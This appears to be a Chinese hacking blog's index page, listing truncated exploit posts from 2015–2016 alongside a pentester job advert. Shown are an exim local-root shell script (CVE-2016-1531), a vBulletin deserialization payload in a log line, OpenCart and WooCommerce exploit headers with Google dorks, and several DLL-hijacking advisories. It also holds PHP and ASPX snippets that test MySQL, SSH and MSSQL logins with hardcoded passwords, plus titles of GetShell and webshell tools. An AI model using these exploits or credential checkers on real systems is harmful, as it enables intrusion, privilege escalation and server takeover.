发表于
2016-04-27 01:40:27
[原创]Struts2 S2-032 GetShell EXP
发表于
2016-04-23 00:50:14
[招聘]上海 渗透测试工程师 售前/售后安全工程师
招聘信息一、渗透测试工程师要求：1、熟练掌握、使用各类相关安全产品，黑客工具；2、长期关注、跟踪各类安全事件、安全实例，并能深入理解安全漏洞原理；3、熟练掌握以下任意一门语言?php,java,python,perl,c/c++.c# ；4、熟悉主流操作系统、数据库、网络设备与应用系统的工作原理，全面掌握常见的安全漏洞及利用技术（OWASP Top 10）；5、熟悉windows，linux下的流程渗透测试技巧，对网站架构安全、网络渗透检测与分析等有丰富的实践经验。6、有良好的沟通能力和文档编写能力。二、售前/售后安全工程师要求：1、熟悉主流安全技术和流行安全产品的应用部署方案；2、语言表达和思维逻辑清晰、性格乐观较外向、书面表达能力强；3、较强的敬业精神与工作责任心；4、良好的心理素质和学习能力，对安全技术有浓厚的兴趣，持CISSP、CISP、CCNA证书者优先；5、2年以上IT业从业时间，或1年以上安全行业工作经验。薪资待遇：1、10-20K2、五险一金3、业务提成/季度奖金/年终奖4、公司不定期国内外旅游4、面试通过后可根据自身情况提要求（我们诚挚欢迎广大安全人员加入我们的团队。）工作地址：上海虹口区联系方式：邮箱：4tworking@gmail.comQQ：334064205请注明在K8博客看到
...继续阅读
(284)
发表于
2016-04-19 17:59:40
[却持]加密工具TrueCrypt 7.1a / 7.2 DLL Hijacking
发表于
2016-04-19 17:25:47
[却持]杀毒软件Trend Micro DLL hijacking
TrendMicro_MAX_10.0_US-en_Downloader.exe (available from
<http://trial.trendmicro.com/US/TM/2016/TrendMicro_MAX_10.0_US-en_Downloader.exe>)
loads and executes ProfAPI.dll and UXTheme.dll (and other DLLs
too) eventually found in the directory it is started from
(the "application directory").
For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
an
...继续阅读
(124)
发表于
2016-04-19 17:20:20
[溢出]Oracle 9i XDB FTP PASS Overflow (win32)
Oracle 9i XDB FTP PASS Overflow (win32)
Ported to python from the Metasploit oracle9i_xdb_ftp_pass.rb exploit
Original exploit:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb
Description from original exploit:
By passing an overly long string to the PASS command, a
stack based buffer overflow occurs. David Litchfield, has
illustrated multiple vulnerabilities in the Oracle 9i XML
Database (XDB), during a seminar on "Variations in exploit
methods between Linux and Windows" presented at the Blackhat
conference.
http://www.blackha
...继续阅读
(98)
发表于
2016-04-19 17:14:24
[EXP]IBM Lotus Domino <= R8 Password Hash Extraction Exploit
# Exploit Title: IBM Lotus Domino <= R8 Password Hash Extraction Exploit
# Google Dork: inurl:names.nsf?opendatabase
# Date: 02-24-2016
# Exploit Author: Jonathan Broche
# Contact: https://twitter.com/g0jhonny
# Vendor Homepage: https://www-01.ibm.com/software/lotus/category/messaging/
# Tested on: Lotus Domino 8.5
# CVE : CVE-2005-2428
1. Description
IBM Domino Databases contain a configuration issue allowing users to obtain password hashes, configuraiton information and more from the Public Address Book (i.e., names.nsf database). Password hashes are obtained from the hidden HTML HTTP
...继续阅读
(140)
发表于
2016-04-19 17:12:26
[提权]Google Chrome Cleanup Tool DLL Hijacking
Hi @ll,
Google's software_removal_tool.exe alias Chrome Cleanup Tool loads
and executes several DLLs from its "application directory" during
runtime:
* Windows XP:
SetupAPI.dll, NTMarta.dll, ClbCatQ.dll, SRClient.dll, UXTheme.dll,
RASAPI32.dll, HNetCfg.dll, IPHlpAPI.dll, RASAdHlp.dll, XPSP2Res.dll,
RichEd20.dll, SENSAPI.dll
* Windows 7:
NTMarta.dll, SRClient.dll, DWMAPI.dll, UXTheme.dll, IPHlpAPI.dll,
DNSAPI.dll
Additionally the following DLLs are loaded from its "application
directory" during load-time:
WS2_32.dll, WS2HELP.dll, PSAPI.DLL, WINMM.dll, WINHTTP.dll,
ProfAPI.dll, Se
...继续阅读
(134)
发表于
2016-04-19 17:10:44
[提权]Comodo Anti-Virus SHFolder.DLL - Local Privilege Elevation Exploit
SHFolder.DLL Local Privilege Elevation Exploit for Comodo Anti-Virus GeekBuddy Component by @Laughing_Mantis (Greg Linares)
Since it took 146 days to fix a DLL Hijack issue I decided to drop this PoC:
###Technical Geeky Stuff###
GeekBuddy stores several helper applications within the C:ProgramDataComodolps4temp folder.
These binaries are individual components of the Comodo Security Suite and are executed whenever
their related function is performed, updated, or uninstalled.
The directory listing is as follows:
10/06/2015 12:08 AM <DIR> .
10/06/2015 12:08 AM <D
...继续阅读
(102)
发表于
2016-04-19 17:06:57
[0day]Microsoft PPT 代码执行漏洞
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-PPT-VIEWER-CODE-EXEC.txt
Vendor:
===================
www.microsoft.com
Product:
============================
Microsoft PowerPoint Viewer
version: 12.0.6600.1000
Vulnerability Type:
====================================
DLL Hijack Arbitrary Code Execution
Vulnerability Details:
=====================
Microsoft PowerPoint Viewer 'POWERPNT.EXE' will execute arbitrary code if an attacker can place a DLL named "api-ms-win-appmodel-runtime-l1-1-0.dll" in users
d
...继续阅读
(295)
发表于
2016-04-19 17:02:46
[提权] CVE-2016-1531 exim <= 4.84-3 local root exploit
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps.
#
# e.g.
# [[email protected]tmp]$ ./cve-2016-1531.sh
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
#
# -- Hacker Fantastic
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;
system("/bin/sh");
...继续阅读
(139)
发表于
2016-04-19 16:54:31
[EXP]Wordpress Product Options for WooCommerce Plugin File Upload
|[+] Exploit Title: Wordpress Product Options for WooCommerce Plugin File Upload
|[+]
|[+] Exploit Author: M4ni4c
|[+]
|[+] Team Name: Azerbaijan Cyber Army
|[+]
|[+] Official Website: http://az-cyber.org/
|[+]
|[+] Software Link: http://codecanyon.net/item/product-options-for-woocommerce-wp-plugin/7973927
|[+]
|[+] Google Dork: inurl:/woocommerce-product-options/includes/
|[+]
|[+] Date: 11.04.2016
|[+]
|--------------------------------------------------------------|
|[+] Exploit: VICTIM/wp-content/plugins/woocommerce-product-options/includes/image-upload.php
|[+]
|[+] Description: Change you
...继续阅读
(108)
发表于
2016-04-19 16:52:36
[0day].NET Framework 4.6 DLL Hijacking
------------------------------------------------------------------------
.NET Framework 4.6 allows side loading of Windows API Set DLL
------------------------------------------------------------------------
Yorick Koster, February 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A DLL side loading vulnerability was found in the .NET Framework version
4.6 when running on Windows Vista or Windows 7. This issue can be
exploited by luring a victim into opening an Office document from th
...继续阅读
(122)
发表于
2016-04-19 16:49:52
[EXP]OpenCart 2.2.0.0 Remote PHP Code Execution
##
# OpenCart json_decode function Remote PHP Code Execution
#
# Author: Naser Farhadi
# Twitter: @naserfarhadi
#
# Date: 9 April 2016 # Version: 2.1.0.2 to 2.2.0.0 (Latest version)
# Vendor Homepage: http://www.opencart.com/
#
# Vulnerability:
# ------------
# /upload/system/helper/json.php
# $match = '/".*?(?<!\)"/';
# $string = preg_replace($match, '', $json);
# $string = preg_replace('/[,:{}[]0-9.-+Eaeflnr-u \n\rt]/', '', $string);
# ...
# $function = @create_function('', "return {$json};"); /**** The Root of All Evil ****/
# $return = ($function) ? $function() : null;
# ...
# return $r
...继续阅读
(118)
发表于
2016-04-14 07:59:40
[原创]K8飞刀20160414 新增16进制文件互转 & 多版本ColdFusion EXP
发表于
2016-04-14 07:33:07
[教程]K8飞刀20160414新增5版本ColdFusion漏洞EXP
发表于
2016-03-02 16:12:04
[原创]K8飞刀20160302 Base64批量解密+web.config用户密码整理
发表于
2016-03-02 15:00:03
[原创]内网MSSQL帐密批量检测脚本MssqlCheck.aspx
[教程]K8飞刀 web.config处理提取MSSQL用户密码并生成字典 http://qqhack8.blog.163.com/blog/static/11414798520162201449286/<%@ Page Language="C#" %><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><script runat="server"> protected void Page_Load(object sender, EventArgs e) { } private void sqlscan(string sqlhost, string sqldb, string sqluser, string sqlpass) { string connectionString = "Data
...继续阅读
(110)
发表于
2016-03-02 14:54:49
[原创]aspx内网在线主机扫描脚本scanip.aspx
发表于
2016-03-02 12:23:02
[教程]K8飞刀 web.config处理提取MSSQL用户密码并生成字典
发表于
2016-03-02 12:22:38
[教程]K8飞刀 一键生成菜刀连接数据库配置代码
发表于
2016-02-17 10:35:27
[提权]MS16-016提权EXP
发表于
2015-12-23 15:20:10
[教程]K8飞刀-批量执行自定义EXP(joomla 1.5-3.4.5 getshell为例)
发表于
2015-12-17 02:55:32
[原创]K8飞刀20151216 批量jboss & Joomla 1.5-3.4.5 GetShell EXP
发表于
2015-12-14 23:13:50
[原创]K8飞刀20151120 webshell支持列大目录以及目录信息保存
发表于
2015-11-23 17:50:09
[POC]vBulletin 5.1.4-5.1.9 远程任意代码执行漏洞
漏洞概要vBulletin 是一个论坛程序套件，它使用PHP编写。该漏洞利用decodeArguments Ajax API执行php代码，可直接代码获取服务器权限。vBulletin (5.1.4<=version<= 5.1.9)www.vbulletinindir.com/download/vBulletin-5.1.4.rar108.47.xx.yy – – [02/Nov/2015:22:18:21 -0500] “GET /vbforum[/]ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D%22
...继续阅读
(151)
发表于
2015-10-23 18:11:21
[EXP]joomla 3.2-3.4.4 SQL注入漏洞
发表于
2015-09-29 15:39:42
PHP连接MYSQL
<?$ip="192.168.85.182";connect($ip,"root", "k8team");function connect($ip,$user, $pass) { if(@mysql_connect($ip, $user, $pass)){ echo "<font color='#0000FF'><b>Password: <font color='#FF0000'>".$ip.'---'.$pass."</font></b></font>"; exit(); } else { echo $ip.$pass.'<br>'; }}?>
...继续阅读
(114)
发表于
2015-09-29 15:37:50
PHP连接SSH
<?php//前提php要安装ssh.so扩展$connection=ssh2_connect('11.8.1.4',22);$username="root";$pass="root";if(@ssh2_auth_password($connection,$username,$pass)){echo 'SSH Username: '.$username.' pwd: '.$pass.'<br/>';}?>
...继续阅读
(112)
发表于
2015-09-29 11:40:32
[教程]K8飞刀--WinRAR远程代码执行漏洞利用视频
发表于
2015-09-29 11:37:37
[教程]K8飞刀--Word远程代码执行漏洞MS15-022利用视频
